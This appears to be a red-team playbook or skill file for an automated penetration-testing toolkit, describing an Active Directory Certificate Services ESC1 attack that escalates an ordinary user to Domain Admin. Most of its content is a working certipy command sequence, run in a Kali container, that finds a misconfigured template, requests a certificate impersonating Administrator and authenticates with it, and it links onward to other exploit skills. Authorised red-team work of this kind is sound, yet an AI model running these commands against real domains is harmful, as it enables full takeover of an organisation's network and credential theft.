---
name: rt-scenario-b002
description: "Scenario B002 — ADCS ESC1: Misconfigured certificate template allows any user to request cert with SAN for Domain Admin → full domain takeover."
---

# Scenario B002: ADCS ESC1 → Domain Admin via Certificate

**Domain**: Active Directory — ADCS | **Severity**: Critical | **CVSS**: 9.8

## Chain
```
certipy find → ESC1 template discovered → request cert with SAN=Administrator →
use cert to get TGT → pass-the-certificate → domain admin
```

## Key Commands
```bash
docker exec rtexit-kali bash -c "
certipy find -u {user}@{domain} -p {pass} -dc-ip {dc_ip} -stdout | grep -i ESC

certipy req -u {user}@{domain} -p {pass} \
  -ca {ca_name} -template {vuln_template} \
  -upn Administrator@{domain} \
  -dc-ip {dc_ip}

certipy auth -pfx administrator.pfx -dc-ip {dc_ip}"
```
→ `rt-exploit-adcs` → `rt-exploit-active-directory`
